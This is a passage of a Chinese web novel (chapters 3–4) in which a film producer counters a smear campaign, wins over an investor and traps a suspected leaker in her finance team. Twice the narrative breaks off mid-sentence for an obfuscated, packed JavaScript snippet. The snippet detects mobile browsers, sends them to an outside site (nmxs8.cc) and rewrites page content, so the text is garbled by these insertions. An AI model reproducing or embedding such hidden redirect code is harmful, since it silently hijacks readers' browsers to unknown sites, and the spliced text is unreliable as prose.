夜幕低垂，整栋写字楼只剩寥寥灯光。 程今独自坐在办公室，落地灯将她的影子拉得细长，映在玻璃墙上，斑驳交错。她靠在椅背，眉心微蹙，整个人静得像凝固的画面。 但她的脑子，没有一秒停止转动。 她闭上眼，回顾这几天接踵而来的风暴—— 先是投资方撤资的消息被爆出。 接着，网上开始大规模质疑她的能力。 现在，连潜在投资方也开始摇摆不定。 更有匿名帖子散播谣言，试图抹黑她的职业操守。 一环扣一环，咬得死死的。 这不是巧合。不是简单的舆论发酵。这是蓄意构造的杀局。 她指尖轻敲桌面，心底飞速梳理所有可能牵连的线索。 她脑海中闪过几个名字—— 之前和她有过冲突的某位制片人？某家竞争对手公司？亦或是大投资人内部的派系斗争？ 答案仍未浮出水面，但直觉告诉她，这不是单纯的网络舆论发酵，而是精准狙击。 这时，助理小孙推门而入，神情凝重。 “程姐，我按照你的指示查到了一些线索。” 她一边翻开文件，一边低声道：“之前在微博上带节奏、散播谣言的账号，IP定位到了一家公关公司。这家公司曾多次受雇于某些影视公司，专门做黑公关。” 程今眸色一沉，语气微冷：“能确认是哪家公司吗？” 小孙犹豫了一下，随即轻咳一声：“暂时没有直接证据，但这间公关公司最常合作的，是……” 她顿了顿，缓缓道：“永荣影业。” 永荣影业。 程今默默在心中重复这个名字，同时迅速翻找记忆。 永荣影业，国内一线影视巨头之一， 他们曾在□□题材上打造过成功作品， 如果《暗潮》顺利上映，势必会对他们下半年的项目构成直接威胁。 更重要的是——她当初挖走过的一位编剧，正是从永荣影业离开的。 敌意，不是一朝一夕。 他们需要踩着一个女性主导、独立制片的失败样本，来证明资本依旧属于熟人圈、规则从未改变。 现在看来，那场看似松散的风暴，不过是精心布局后的信号弹。 她深吸一口气，打开电脑，指尖迅速滑动，冷静得像个战术总指挥。 第一步，指示公关部搜集更多证据，准备法律应对。 她要查清楚，这些抹黑内容究竟是外包行为，还是有更直接的资金流向。 第二步，加快跟潜在投资方的沟通，调整对赌条款，让条件更具吸引力。 在永荣影业进一步加码黑公关之前，她必须先锁定主要资金，抢占主动权。 第三步，联系行业里的几位重量级导演和监制，把《暗潮》的真实进度通过“圈内信源”放出去，让专业人士对抗水军舆论。 资本可以被影响，但他们不会永远只听谣言。 如果行业内部有人为她发声，舆论就不会被轻易带偏。 她冷静地下完每一个指令，仿佛天生就是做这场对抗的人。 但只有她自己知道，这样的清醒，是在疲惫、焦躁、愤怒一层层碾压下攒出来的。她不能慌，一慌就输了。 深夜，整层办公室只剩程今一人。 落地灯的光线投在她身上，影子孤独而绷紧。她倚在椅背，手指揉着肩颈，动作缓慢却充满疲惫，像是在给濒临崩溃的身体争取片刻喘息。 走廊里一片漆黑，连空气都安静得发闷，只有中央空调低低的轰鸣声，在死寂里显得格外刺耳。 她闭上眼，轻轻吐出一口气。 这几天，她几乎没睡过一个完整的夜晚。 就在这时—— “叮——” 一声突兀的震动打破沉静，手机屏幕亮起，显示一条陌生号码发来的短信。 她下意识点开。 “想知道是谁在背后操作？不如看看明天的头条。 到时候，你就会发现，自己最信任的人，究竟站在哪边。” 程今身体一僵。 那一瞬间，倦意彻底褪去，寒意顺着脊背往上爬。 最信任的人？ 她盯着那行字，眉心狠狠拧起。 对方到底想放出什么？ 又是谁，在她身边扮演着“双面人”？ 她迅速调出通讯录，视线一一划过：监制、导演、编剧、美术、执行制片、财务……甚至，沈宴的名字，也在那一栏短暂停留。 可她很快摇头。 沈宴不是“最信任”的人，他不过刚加入项目不久。 但其他人呢？ 那些陪她一起熬夜敲策划、披星赶月赶进度的“自己人”呢？ 她脑海里的警铃越响越紧，像有一只无形的手在黑暗中推着她，往真相边缘逼近。 她低头，重新打开笔记本，调出公司后台安全系统，逐条筛查近几日的邮件往来、文档下载记录和外部传输轨迹。 指尖飞快敲击键盘，背却微微泛冷。 她早就见识过资本如何翻云覆雨，怎样让一个人从“新锐”一夜跌落为“笑柄”。 但今晚这条短信，不只是威胁—— 它像是某种倒计时。 倒计时结束，她手里的项目会被彻底撕裂；倒计时结束，她的“信任体系”将迎来一次全面崩塌。 办公室静得只能听见她敲键盘的声音。 窗外，夜色深沉，城市远处的灯光像潮水一样退去，唯独高楼之间隐约透出不熄的灯火。 那是另一场交易正在进行，或是下一波攻击已经蓄势待发。 程今盯着屏幕，眼神一寸寸收紧，整个人像是攥紧弓弦，蓄势待发。 她必须赶在天亮之前，布下一层更强的防线。 因为，她感觉得到。 天一亮，真正的风暴就要来了。 3. 第 3 章 夜色如海，制片公司顶层会议室依旧灯火未熄。窗外万家灯火模糊如星河，室内却静得仿佛下一秒就要落雷，沉得压人。 程今翻完最后一份预算报表，合上文件夹，手指在封面上轻轻敲了几下。她动作一贯利落，神情也如常冷静，可只有她自己知道，指尖有一瞬间的发麻—— 她已经连续十几个小时没合眼了。 三个小时前，才结束一场将近五个小时的公关会议。现在安静下来了，耳边反倒像有风声在嘶嘶作响。窗外华灯璀璨，像一座永不眠的战场，而《暗潮》此刻就躺在风口浪尖。 资金链脆弱、主创分歧、资本动荡……那些“谣言”如今正在一点点变成逼真的现实。 “程制片。” 门口传来敲门声，唐夕快步走进来，神情紧张，“刚收到消息，有人开始放话，说你前期筹资时有过度承诺嫌疑，可能误导了部分小投资方。对方扬言要集体撤资。” 程今没立刻回话，只看着她几秒。光线打在她脸上，像被刻出来一样冷静。但只有她自己听得见心跳那一瞬的提速。 她语调没起伏，听起来像在问天气预报：“消息源查清了吗？” 唐夕摇头：“还在追。那些人在暗中放风，说你只擅长拍中小成本的文艺片，不懂操作警匪题材的大盘子。” 程今闻言竟笑了笑，声音不轻不重：“老调重弹罢了。从项目一立，就一直有人不看好我。” 她顿了顿，神色沉静，语气笃定却不动声色：“先别急着回应，继续查源头。什么时候开口，等我消息。” 唐夕一怔，没想到她竟比上次更沉得住气，只能点头离开。 门重新合上，会议室又归于沉寂。程今散开笔记，桌上满是细碎的信息与备注： 某位投资代表深夜发来邮件，试图插手剧本改动； 某基金代表在会议上话里藏针，暗指她“文艺气太重”，根本驾驭不了商业警匪； 还有匿名账号连续发帖，变着法儿地唱衰《暗潮》的市场前景…… 她坐在昏黄灯下，眼神不动声色地扫过这些内容，脑海却飞速运转。她几乎已经能勾勒出内鬼的活动轨迹——有人正在精心布一张网，逼她从项目核心撤出。 但她没有表现出任何惊慌。 他们想让她急、让她乱，最好在公众面前情绪失控、口舌失守，这样一来，《暗潮》就真成了他们口中“女性制片撑不起的灾难”。 程今冷笑一声，关掉台灯，陷入一片昏暗。 她不打算吵，不打算解释——既然对方还在下套，那就让他们表演久一点，再一把收网。 清晨六点，天色还未完全亮透，程今匆匆赶到片场，空气中还带着清晨的薄雾和灯架散发的金属味。主创团队已经集合，现场一片忙碌——导演杨学宁正和摄影指导在场景中比划机位，副导演段林低头调整进度表，男主角沈宴坐在灯架下翻着剧本，眉头微蹙，正低声和段林讨论角色走位。 她刚走近，沈宴便注意到了，起身迎过来，语气克制而低声：“程制片，昨天说的那些投资人……有消息了吗？” 他说话声音很轻，像是怕打扰她思路，又像是在试探一种边界。 程今脚步未停，只略微转头看他一眼，视线掠过片场里交错的灯光与布景，语气干脆：“还在谈，但大方向不变。你安心拍戏。” 沈宴点了点头，没有追问。她的话不多，却足够说明问题。 他回到剧本前，神色如常，重新投入角色状态。他明白，第一次合作，他该做的不是干预制片人的战场，而是在镜头里做到最好。 上午的拍摄进展顺利，动作组节奏紧凑，现场没有太大状况。程今站在场边盯了一会儿，确认节奏稳妥后，才抽身离开。 她还有更棘手的事在等着她。比如那笔迟迟未定的资金，已经到了不得不正面交锋的时候。 中午时分，公司前台突然来电通报：“赵敏女士到访。” 程今闻言，心头一动——那是前不久在电话中简短沟通过的投资人，近期放出“或考虑参与《暗潮》”的信号。如今她突然亲自登门，来的既直接又毫无预兆，让程今瞬间警觉起来。 此时正是局势胶着的关键节点，一位新资金方的态度，很可能成为撬动局面的杠杆。 她迅速整理好外套袖口，步入会客室，刚坐定，房门便被推开。 赵敏走进来，一身灰色收腰西装，妆容得体，神情锋利，齐肩短发干净利落，整个人气场沉稳带压。 “程制片？”她语气不咸不淡，微微颔首。 “赵总，久仰。”程今起身，面带微笑，与她握手。 两人落座后，寒暄很快收尾，空气中多了一层无形的紧张感。话题转入正题，气氛随之沉下来，变得冷静而克制，像一场即将展开的对弈，各自都在试探第一手落子的位置。 赵敏翻开面前的资料夹，率先开口：“我先说明立场。我们公司并不抗拒警匪题材，相反，如果处理得当，它有极强的破圈潜力。但我们更关注两件事：第一，对标市场的回报率；第二——你个人的团队掌控力。” 程今神情平静，声音没有波澜：“这我完全理解。市场能不能买账，不只是剧本够不够好，演员能不能演，宣传能不能打穿，还看团队是不是能在风口前稳得住。” 她顿了顿，视线微转，“至于团队能力……如果赵总不放心，我可以调过往项目数据给你看，我们不是第一次带大体量运作。” 赵敏手指轻扣着桌角，眼神里不无审慎，却也多了些同理的意味：“我看过你以往几个项目的财务轨迹，不然也不会亲自来见。说实话，我知道你这个位置走得不容易。这个行业的确不缺女性，但真正拥有调度权、能拍板的大女制片人——凤毛麟角。” 程今唇角轻勾，笑得平静却不带温度：“确实不容易，但也习惯了。你站得越高，越多人盯着你看，做得出成绩，他们闭嘴；做不出来，就等着看你掉下来。” 她声音一顿，神色微敛：“不瞒你说，《暗潮》的确经历了些动荡。前期投资有撤资，也有人刻意造谣。不过，我相信好作品不会被轻易埋掉，只是需要有人愿意看见它的价值。” 赵敏点了点头，目光沉着：“我了解。这段时间你们项目被推上了风口，质疑声很多。我能看出来，有人是奔着把你从项目里拉下去的。” 程今没有接话，只是看着她，眉眼淡然地颔首，算是默认。 随即，她推过桌上早已准备好的合作文档：“如果临川有意参与后续投资，我可以保证：剧本不改初心、拍摄不降标准，宣发权益与衍生授权，我们都能协商。我们调研过——这种题材在近年热度回升，有卡司、有质量，是真正有望打穿市场的。” 她语速不快，却有种不容置疑的笃定。 赵敏看着她，神情未动，指腹缓缓划过文档一角，眼中光色微微一变，像是在衡量，也像是在权衡背后更大的赌注。 赵敏端起茶杯，轻啜一口，才慢悠悠地开口：“我欣赏你的自信。但我们基金一向有个原则，不介入前景不明、对手过强的项目。无论是资本上的对抗，还是你背后……可能招惹来的打压风险。” 这话语气不重，却带着明显试探。程今听得出，对方是在提醒她：若她招惹的是某位不该动的大佬，或者触碰了某条看不见的红线，临川基金并不愿为她陪葬。 她指尖微顿，眼神却没一丝闪躲，语气缓慢却坚定：“我既然能走到今天，就不是谁一句话就能踢下牌桌的人。不管对方背景有多硬，破局的路永远不只一条，但只要我还在局里，就不会后退半步。” 赵敏看着她，眼中闪过一丝复杂神色，那既像是对程今胆识的认可，也带着一种同为女性在夹缝中求存的共情。 “好。”她放下茶杯，唇角轻勾，“如果你真有这个胆量和执行力，我可以继续听下去。” 那笑容不大，却带着女性之间一种不需多言的默契。 程今微一点头，没有再客套，而是干脆地打开手边资料，指向关键几页：“这是我们现阶段的预算结构、后期回报模型和市场预判。你可以看这几个节点——国内宣发、流媒体版权，以及海外同步发行，我们的优势在这里。” 两人低头交谈，茶香氤氲间，纸上的数字逐行被勾画，谈判悄然进入了实质阶段。此刻，程今知道，她赢得了一个可能扭转战局的机会。 一个多小时的谈话结束，天色已近昏黄。赵敏合上资料夹，站起身，语气平稳：“我会带回去做内部评估。你这份方案，我个人觉得有点意思。若有进一步的问题，会联系你。” 程今起身相送，陪她走到公司门口，临别时轻声道：“赵总，无论投资与否，还是谢谢你愿意了解项目。这个阶段，肯停下来听我们讲完的人……已经不多了。” 赵敏一顿，回头看她，唇角带笑：“哪用说这种话？我又不是慈善家。真要投进去了，你得让我看到，这个项目能像你说的那样，撑得住风浪。” “我会。”程今语气不重，却稳得像是一道防线。 赵敏点点头，转身上车。车门即将关上前，她忽然回头，意味不明地补了一句：“我见过太多制片人，风声一变就抽身走人。你和他们不太一样……也许，我们都有机会，证明点什么。” 程今怔了一瞬，看着那辆黑色轿车驶入车流，内心某处仿佛轻轻被触了一下。 这并非一句承诺，却像是在密不透风的战局中，有人悄悄递来一块盔甲——她知道这仍是一场博弈，可也许，自己终于不是一个人孤军奋战了。 当晚八点，程今推开公司二楼会议室的门，屋里正召开一次关键会议：编剧、美术总监、财务主管、宣传负责人等核心成员悉数到场。 她步入室内，灯光在她身后拉出一小段影子。众人下意识安静，像是集体等待着某个开场白。 自项目陷入负面舆论以来，风声鹤唳。但所有人的步调仍未散乱，只因为程今，一直冷静站在最前。 可就算如此，还是有人开始悄悄揣测：真有内鬼的话……会不会，就藏在这张会议桌旁？ 财务主管老方先开了口，小心翼翼地说：“程制片，这周场景搭建超出了预算，预备金已经提前动用。如果下一笔资金不能尽快到账，恐怕撑不过三周。” 制片助理刘倩皱着眉补充：“演员档期也越来越紧，再拖，我们这边可能就要违约了。” 话题越来越沉重，会议室里的空气像不断加热的蒸锅，窒闷、压抑。 众人下意识看向程今，仿佛只要她一句话，就能决定剧组的命运。 程今坐定，翻开桌上的资料，语气依旧沉着：“我正在和新的投资方谈判，有望近期补入资金。各组先按原定计划推进，没人许可，不许喊停。” 她顿了顿，扫视一圈，目光极浅，却如刀锋划过，“你们要记住，现在越乱，对手越容易找到缝隙钻进来。” 宣传负责人唐夕忍不住开口：“那……关于网上那些项目快黄的传言，公关部要不要发声明？” “不急。”程今眼神平静，“现在出面，只会显得我们底气不足。等时机到了，我们会一次性反打。” 她话说得不轻不重，却仿佛无意间放下一颗炸弹，空荡荡地在桌面上“咚”地一响。 一瞬间，气氛有些微妙。 老方神色微变，低头看向资料。唐夕与刘倩交换了个眼神，美术总监则略显迟疑，似乎没太听懂程今话里的弦外之音。 程今静静看着这一切，没再点破，只淡声收尾：“散会吧，各就各位。资金没到之前，任何人不得擅自减慢节奏。” 人群安静地站起，陆续离开。 等最后一人推门而出，助理小孙悄悄凑近：“程姐，你刚才那几句，是故意说给某些人听的吧？” 程今没回答，只看了她一眼，重新坐回座位，合上笔记本：“让财务部门明早把支出清单送过来，特别标出搭景和演员费用的异常变动——我想亲自核一遍。” 小孙轻轻点头，转身离开。 而程今的手指，在桌面轻轻敲了两下。节奏不紧，却每一下都敲进心头。 那张网，她已经开始收了。 夜已深，整层办公楼只剩几盏灯还亮着。 程今坐在办公桌前，灯光落在她脸上，映出淡淡倦色。桌上摊着一堆财务报表，她指尖在一组组数据间游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359142|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走，眼神锐利，逐一圈出可疑数字。几项支出曲线略显异常，她心中已有怀疑的名字。 手机突地震动。 她低头一看，一条陌生短信跳出屏幕—— 【听说你又找到了新的投资，真是好运。 不过，你确定能填上那些窟窿吗？ 小心最后砸在自己手里。】 没有署名，语气轻佻，却带着十足的挑衅。 程今面无表情地看完，手指一划，删掉。 这不是她第一次收到这种匿名威胁，也不会是最后一次。 如果对方以为几句冷嘲热讽就能动摇她，那就太小看她了。 她轻轻倚靠在椅背，闭了闭眼，脑海里闪过赵敏那晚说的话—— “我们都有机会证明些什么。” 也想起片场那天，沈宴在混乱现场默默配合、坚定出声：“你让我拍好戏就行。” 那一瞬间的信任，让她原本拉满的神经稍微松了半寸，也让她心中那股从不肯服输的倔强，重新升腾。 她睁开眼，重新拾起桌上的资料，一页页翻过，笔尖在纸上勾勒下一条新的战术思路。 她必须找到一个破局的方法， 如何让那只藏在暗处的手现形？ 如何稳住还在观望的资金链？ 如何提前发力，把舆论节奏握回自己手中？ 每一个问题，都是一道绷紧的弦。 第二天清早，天才蒙亮，程今就提前赶到公司，没有直奔片场，而是拐进了财务室。 老方一见她进来，像被惊了一下，忙不迭地起身相迎，额头隐隐冒汗：“程制片，这、这是昨天截止到午夜的最新收支统计，我今早刚让人核过。” 他将一份报表双手递上，语气不敢有一丝含糊。 程今低头扫了几眼，眼神迅速掠过几组数字，指尖轻敲表格边缘，却没说什么，只是点头道：“辛苦。” 说完她转身欲走，刚踏出门口，却忽然顿住。 她头也不回地说：“接下来几天，你们只按我给的数据拨款，其他指令一律不作数。尤其是，不要把这些变动透露给任何外包团队。” 老方愣了一下，眉头动了动，像是想说什么，但终究没敢问，只低声应道：“……我明白了。” “明白就好。”程今语调平静，却有股不容置疑的压迫感。 她迈入电梯，身影隐入金属门合上的缝隙中，唇角却缓缓勾起一抹淡淡冷意。 她已经悄然收紧了口袋，每条数据都像一根钓线，只要有人再敢越界乱动，那只躲在暗处的手，就会顺着线头，一寸寸现形。 下午两点，片场化妆区热气未散，沈宴刚结束一场激烈打戏，靠在椅背喘着气，额角汗珠未干，指尖还带着细微颤抖。 他一边用毛巾擦汗，一边翻着剧本，眼神却有些涣散。直到余光捕捉到一道熟悉的身影走近，他才迅速直起身。 “程制片。”他开口，嗓音低哑，“有什么需要我配合的？……关于那些传言。” 他没说太多，但话里的关切分量不轻。 整个剧组都知道，这几天外面的风声有多紧。而程今，从来都是那个顶在最前面的人。 她将一瓶水递给他，语气一如既往的平稳冷淡：“你把自己的戏拍好，其他的，不用分心。” 她顿了顿，目光不闪不躲，眼里写着一贯的坚定：“放心，我不会让你们的努力白费，更不会让这个项目白走这一遭。” 沈宴接过水瓶，沉默地拧开，垂在身侧的手却攥得有些紧。他想说点什么，可那句“你还好吗？”终究没出口。 可他知道，她此刻的平静，是多少个无眠之夜熬出来的。 “有事随时找我。”他最后还是低声开口，嗓音发紧，没什么多余修饰，却意外地郑重。 程今只是微一点头，转身离开，动作干脆利落。她的步伐没有一丝犹豫，下一站，她要去见资本代理人，谈补资，抢时间。 某些话听得懂，却装作没听懂；某些靠近，也只是靠近了一点点。 他们都知道，感情这回事，从不是轻易就能放上台面的筹码。 沈宴站在原地，看着她的身影走远，渐渐被灯光和布景吞没。他眼中情绪翻涌，却压得死死的，连一丝动摇都藏得极深。 她越是不动声色，他就越是想靠近。 程今推门而入，桌面上多了一份静静躺着的白色信封。小孙正从茶水间端出热水，看见她便迎上来，压低声音道：“程姐，这封信是下午有人送到前台的，对方没留名字，也没联系方式。” 程今微微皱眉，走到桌边，低头打开信封，动作不紧不慢，却明显比平常更小心。纸张轻轻展开，一行字迹凌乱的墨水跃入眼帘——寥寥几行，却字字森寒： “你想抓住那个内鬼？ 可以告诉你，他掌握的远不止财务数据。 你最好别轻举妄动， 否则《暗潮》和你，都将万劫不复。” 她的目光定格在最后一句，指尖下意识地收紧，纸张随之发出微弱的“咔”声。空气仿佛一瞬间冷了几度，整间办公室都被这几行字拉进一种无法言明的压迫感里。 有人知道她在查。 而且对方不止在监视，还开始发出威胁。 程今静静站着，没有任何表情波动。只是那几秒沉默，如锋刃入鞘，压住的不是恐惧，而是即将反击的理智。 她将纸条重新叠好塞回信封，语调平稳得几乎冷静：“前台有监控录像吗？” 小孙一愣，赶紧点头：“有，但送信的人戴了帽子和口罩，脸看不清，只能看个身形。” “去调出来。”程今声音不高，却不容置疑，“包括送信前后三十分钟的记录，能查的都查。” 小孙应声离开。 她独自站在空荡的办公室中，窗外城市灯火遥远模糊，那封信仿佛仍在指尖灼烧。楼道传来微弱的风声，像有人在暗处吹气，提醒她：危险正在逼近。 她没动，也没退。只是坐下，重新打开电脑，将那份“关键人员接触名单”调了出来。 既然对方怕她查，就证明查下去，一定能掀开一层皮。 4. 第 4 章 夜深，程今还留在公司办公室。自从舆论与资金压力同时爆发，她已经好几天没踏实睡过一整晚。 她盯着电脑屏幕上的数据，屏息敲动最后几个按键，敲定了一份修订过的宣发计划。揉了揉酸胀的眼睛时，手机忽然亮起，短信弹出： 沈宴：【资料都准备好了，随时等你来看。】 她指尖一顿，目光落在那一行字上，片刻没移开。 自从剧组进入拍摄高峰，沈宴几乎连轴转，打戏拍摄、台词磨合、配合宣发，日程排得密不透风。她原以为他们的沟通，只限于片场的角色对接与进度确认，没想到，他还默默做了这些。不是分内的事，却做得一丝不苟。 她指尖缓缓滑动，最后回复：“辛苦。明早片场聊。” 短短几个字，她删了三次，才发出去。 收起手机，她开始整理桌面，准备离开。虽然网络上的风暴还在翻涌，但她心里却有种近乎冷静的预感：局，快要翻了。 她按下电源键，办公室陷入一片黑暗。 这几天她悄悄利用部门权限差异排查信息流向，已经缩小了嫌疑范围。只要再等一点，一切就会水落石出。 第二天一早，程今抵达片场，远远便看到导演杨学宁正与摄影组沟通机位、比划角度。虽然忙碌，他神情却比前几日轻松许多，显然对项目的前景重新燃起了信心。其他工作人员也明显松了一口气，片场气氛比此前安稳不少。 看来，公司方面“有新资金洽谈中”的消息已经传开。原本如履薄冰的剧组，终于暂时稳住了阵脚。 程今站在一旁，耳边不断传来低声议论： “听说程制片搞定了几个新资方，项目稳了！” “真的假的？我还以为这戏要停了，咱们这饭碗算保住了？” 她没有出声，只是微微抬头扫了一眼场地尽头。遮阳伞下，沈宴正靠在椅背上，一边喝水，一边翻看剧本。他身上还穿着戏服，神情专注，眉头紧蹙着，似乎在琢磨角色走向。 程今绕过几组灯光和缆线，走到他身边，开门见山：“你说的资料，带来了吗？” 沈宴闻声抬眸，朝她笑了笑，将笔记本电脑和U盘递过去：“都在这儿了。除了拍摄花絮，还有几段探班时的幕后互动。我让经纪人简单剪了个demo，方便你挑着用。” 程今打开电脑，快速浏览了几段。虽然是初剪，但画面质感不错，演员状态也在线，几场核心戏的情绪浓度极高。若挑几段发出去，确实能在网络上营造出“剧组专注、进展顺利”的正面印象。 她合上电脑，抬眼看他：“不错，这能帮我们把节奏拉回来。” 沈宴轻轻耸肩，语气平和：“我也希望更多人知道，这剧组不是外界说得那样一团糟。” 他顿了顿，眼神落在她脸上：“听说你那边，资金谈得差不多了？” “正在推进。”程今回答得很简短，但语气比以往轻了一些，“过程不轻松，还需要时间。” 沈宴张了张嘴，欲言又止。最后只是点点头：“那就好。我真不想这戏拍一半烂尾。” 这话说得平淡，却带着一种不动声色的坚持。程今看了他一眼，忽然轻笑：“不会的，放心。” 那笑容不甚张扬，却让沈宴怔了一瞬——她难得在片场之外露出这种不设防的表情。 沈宴看着她的笑，没再说话，只是把水瓶换到另一只手，像是下意识地站近了一点。 两人间没有刻意拉近，却仿佛默认了彼此靠得更近一点也没关系。 片场不远处传来导演的喊声：“准备走位了——” 沈宴应了一声，走过去。 程今目送他的背影，轻轻吐出一口气。 她忽然意识到，这段本以为孤军奋战的路上，好像并不是那么孤单。 上午十点，程今让唐夕联系了几家合作意向明确的自媒体账号，将沈宴与其他主演的正面花絮剪辑优先释出。 不久，微博上陆续出现多条新帖： 《〈暗潮〉片场高能打戏花絮曝光，主演演员全员敬业》 《沈宴亲自示范动作分镜，探班实录首次公开》 这类话题帖与此前那些项目扑街、资金告急的负面言论形成鲜明对比，引发粉丝和路人热议。部分网络观点开始松动，至少在舆论层面，《暗潮》不再被视作随时可能烂尾的仓促项目，而是一支认真拍摄、内容扎实的制作团队。 唐夕兴奋地向程今汇报最新数据：“帖子转评赞都在快速上涨，之前那几个热搜负面标签的热度也明显掉了。看样子，大家的态度在慢慢转变——从质疑变成观望，甚至开始有点期待了。” 程今翻看着数据报告，神色依旧冷静：“别松懈。对家可能还会有下一招。我们要趁这波势头，把拍摄进度尽量往前推进。” 她很清楚，这场仗远未结束。但眼下，舆论已有所回暖，也为后续再次融资或谈判新合作方，打开了一个关键的缓冲窗口。 傍晚时分，程今接到一个陌生来电，对方自称是赵敏的助理：“程制片您好，赵总想明天下午来片场看看，如果您方便，她会亲自到访。” 程今微微扬眉，脑中闪过那位此前仅做初步接洽便匆匆离场的女性投资人。如今对方主动提出探班，显然意味着对《暗潮》的关注更进一步。 “当然欢迎。”她干脆回应，“请赵总随时来，我这边全程接待。” 挂断电话后，她第一时间将这个消息告知导演和制片组核心成员。 杨学宁听完欣喜不已：“如果赵总真愿意补上预算缺口，咱们接下来的拍摄节奏就能稳下来。” 程今却并未流露出太多情绪，只语气平淡地提醒：“别太早乐观。资本只看价值。她是否出手，取决于我们能不能扛住舆论、能不能证明这片子有票房潜力。她要看的，不只是剧组工作状态，更是我们的后劲。” 导演点点头，语气带着难得的轻松：“你放心，我会让片场那天看起来最像那么回事儿。该有的调度、气氛、效率，一样都不会差。” 晚上九点，程今匆匆回到公司，坐在顶楼办公室里翻看一张最新的财务对比表。那是她过去几天悄然布下的信息陷阱。 她故意向不同部门投放几组带有轻微出入的资金数据： 一条“二期投资”数字，只告诉了两位核心骨干；一条“紧急备用金”信息，只透露给财务主管老方；还有几条关于拍摄进度对应资金流的数字，分别分散给几个项目助理。 这一套“虚假口径追踪法”并不复杂，却极具杀伤力。她只需要等，看哪一条数据在外界出现了“意外曝光”。 此刻，她视线定格在其中一行被标注红框的数据——那条仅老方知晓的“备用金”数额，在一家不知名娱乐营销账号的“爆料贴”中出现了惊人一致的金额。 程今将笔划停在那一行数字，眉眼微沉。老方负责剧组大量实际开销，掌握全局支出流向，如果他真的泄密，不论是有心还是受人操控，对剧组而言都如同在心脏埋雷。 她不动声色地合上文件，拿起手机，拨通助理小孙的电话：“明天赵敏来片场，记得让老方也在场，我要他当面汇报资金进度。” 小孙明显一愣，声音小了几分：“……你怀疑他？” 程今语调不疾不徐：“我不怀疑任何人，但我要听到他的解释。” 她挂断电话，靠坐在椅背上，目光沉了几分。若那人真是内鬼，她不会留情。她一向讲情，但在信任面前，从不妥协。再过不到十二个小时，她要亲自揭开这场资本风暴里最隐秘的一角。 翌日午后，片场如常忙碌。赵敏在助理陪同下准时抵达。她一踏入拍摄棚，便被眼前的热烈景象吸引。灯光、道具组穿梭来回，演员正在排练枪战戏，导演站在监视器后扯着嗓子喊：“再来一条。” 程今带她绕过嘈杂人群，简单介绍：“现在拍的是主线冲突场，虽然现场有点乱，但每个组都在满负荷运转。” 赵敏微微颔首，目光一寸寸扫过现场，语气淡淡：“看得出来，状态不错。” 这时，沈宴刚拍完一条动作戏，从远处走来，肩上还搭着毛巾，额前汗还未擦净。他正准备回休息区，听到声音抬起头，目光在程今身边的赵敏身上停顿了片刻，脚步便转了个方向。 “程制片。”他走近，朝赵敏略一点头，“您好。” “这是我们的男主。”程今侧头介绍，“赵总是今天到访的投资代表。” 赵敏目光落在他身上，语气平稳：“沈先生的作品我看过几部，印象不错。” 沈宴笑了一下，没有谦虚也不自夸，只道：“谢谢，戏还在拍，成不成，还得看最后。” 赵敏听了这话，眼神轻轻一挑，像是更认真地打量了他一眼。 “动作戏拍得辛苦吗？”她随口问。 沈宴点头，又摇头：“不轻松，但值得。” 他说得简单，干脆，没有多余的情绪渲染，也没有讨好意味。赵敏没再追问，却在转身前看了程今一眼，像是对整个项目又多了一分信心。 随后，程今带赵敏参观道具展示和场景布局，引导她了解整个拍摄的规模与技术难度。走到一处模拟街头的布景前，老方依照程今事先安排赶来，怀里抱着几份财务报表，略显局促地向赵敏做了一番简要汇报。 “目前剧组还有将近两千万的缺口，如果后续要扩充场景，就必须动用备用资金……”他说话时语气谨慎，句子断断续续，甚至有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359143|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些磕巴。 赵敏一边听，一边翻阅手中的报表，目光沉着，偶尔提出几个精准问题。起初一切平稳，直到她停在某一栏数据上，眉头轻蹙，语气依旧温和，却带着不动声色的审视： “这笔预备资金的数额，和程制片上次给我的版本，好像不太一样？是写错了，还是改动过？” 老方明显一愣，脸色瞬间变了。他咽了口唾沫，努力平复语调：“呃……也可能是……我们最近又重新做了一次预估，预算那边刚改的……” 他话说得模糊，逻辑也不清晰。赵敏没接话，只低头继续翻页，却在神情中多了一丝冷意。 程今站在一旁，全程未插话。直到那一刻，她才微微一笑，语气淡然：“我们做过几轮内部评估，数据版本确实有调整。我让他之后整理一份最新的，专门给你。” 赵敏“嗯”了一声，没有多说。但那一瞬，老方眼神飘忽、神色慌乱，连翻页的动作都显得不自然。程今把这一切默默收入眼底，心中已有计较。 果然，破绽出来了。 参观结束后，赵敏在片场停留了十几分钟，静静观摩了一段拍摄实况。导演正调度一场动作戏，演员全情投入，现场井然有序、节奏紧凑。她随后与导演、沈宴做了简短交流，对项目的整体氛围和主演的状态显然颇为满意。 离开前，她转向程今，语气轻松却带着分量：“我会把今天看到的情况带回去，向基金正式提出追加投资的申请。希望这部戏，能像你说的那样，稳稳地走下去。” 程今微微躬身致意：“感谢赵总的认可。” 赵敏伸出手，两人短暂握了握：“我明早就要离开这座城市，之后的事情由团队对接，你有什么需求，尽管直接提。”说完，她顿了顿，意味不明地笑了一下，“还有，如果再有人唱衰你，记得，下手要快，干净利落。” 程今眸色微沉，点了点头。这话说得不轻不重，却像一把刀递到了她手中。资本并不怕你狠，怕的是你犹豫。 目送赵敏的车缓缓驶离，导演杨学宁和几位制片组同事围了上来，脸上难掩期待。 